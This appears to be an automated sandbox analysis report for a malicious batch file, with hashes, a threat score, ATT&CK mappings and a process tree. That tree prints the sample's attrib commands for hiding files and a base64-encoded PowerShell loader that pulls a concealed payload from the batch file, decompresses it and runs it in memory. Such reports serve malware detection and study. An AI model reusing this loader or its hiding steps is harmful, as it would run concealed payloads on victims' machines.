3b8a2bcd9e8dd805793cc95c74d30f20ebc5714ea249d165afac29d1f3b0ace0

General

Target

3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat
Size

1.3MB
MD5

659dc2c8af5180c5465f0e04e7334aed
SHA1

a3e075c9d36c0077471f7034696af4c660630d9b
SHA256

3b8a2bcd9e8dd805793cc95c74d30f20ebc5714ea249d165afac29d1f3b0ace0
SHA512

fc632f58f30f6170387c1eb003c3b43656de2f9f97bc4564f00ac5b8a9e4fd1348f2448a07439b32c7e34c3a2020f36cce15aa85bf5f9e7f3a146ac8be431025
SSDEEP

24576:7RPcg9zh88jZh8Domk9NGL9oj2cZhm5gbwj0VaIx/a53/RI2g+B5i4/c3B:1Pcbc3rG5oj2cZhMg9/yqqqB

Score

8^/10

defense_evasion discovery

Malware Config

Signatures

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2924	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
2792	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2792	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2792	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 2924	2816	cmd.exe	31
PID 2816 wrote to memory of 2924	2816	cmd.exe	31
PID 2816 wrote to memory of 2924	2816	cmd.exe	31
PID 2816 wrote to memory of 2792	2816	cmd.exe	32
PID 2816 wrote to memory of 2792	2816	cmd.exe	32
PID 2816 wrote to memory of 2792	2816	cmd.exe	32
PID 2816 wrote to memory of 2792	2816	cmd.exe	32
PID 2816 wrote to memory of 2932	2816	cmd.exe	33
PID 2816 wrote to memory of 2932	2816	cmd.exe	33
PID 2816 wrote to memory of 2932	2816	cmd.exe	33

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2924	attrib.exe
2932	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2924
- C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
  C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgAK4AKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwCuACcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAZQBuAHQAcgB5AFAAbwBpAG4AdABNAGUAdABoAG8AZAAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAcwAoACkALgBXAGgAZQByAGUAKAB7ACAAJABfAC4ATgBhAG0AZQAgAC0AZQBxACAAJwBXAHIAZwB2AGcAcAByACcAIAB9ACwAIAAnAEYAaQByAHMAdAAnACkALgBHAGUAdABNAGUAdABoAG8AZAAoACcATQBhAGkAbgAnACwAIABbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBCAGkAbgBkAGkAbgBnAEYAbABhAGcAcwBdACAAJwBTAHQAYQB0AGkAYwAsACAAUAB1AGIAbABpAGMALAAgAE4AbwBuAFAAdQBiAGwAaQBjACcAKQA7ACAAJABlAG4AdAByAHkAUABvAGkAbgB0AE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\system32\attrib.exe
  attrib -s -h C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe
  2⤵
  - Views/modifies file attributes
  PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

2

T1564

Hidden Files and Directories

2

T1564.001

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\3B8A2BCD9E8DD805793CC95C74D30F20EBC5714EA249D165AFAC29D1F3B0ACE0.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/2792-4-0x00000000748C1000-0x00000000748C2000-memory.dmp

Filesize
4KB

Download
memory/2792-5-0x00000000748C0000-0x0000000074E6B000-memory.dmp

Filesize
5.7MB

Download
memory/2792-6-0x00000000748C0000-0x0000000074E6B000-memory.dmp

Filesize
5.7MB

Download
memory/2792-7-0x00000000748C0000-0x0000000074E6B000-memory.dmp

Filesize
5.7MB

Download
memory/2792-8-0x00000000748C0000-0x0000000074E6B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads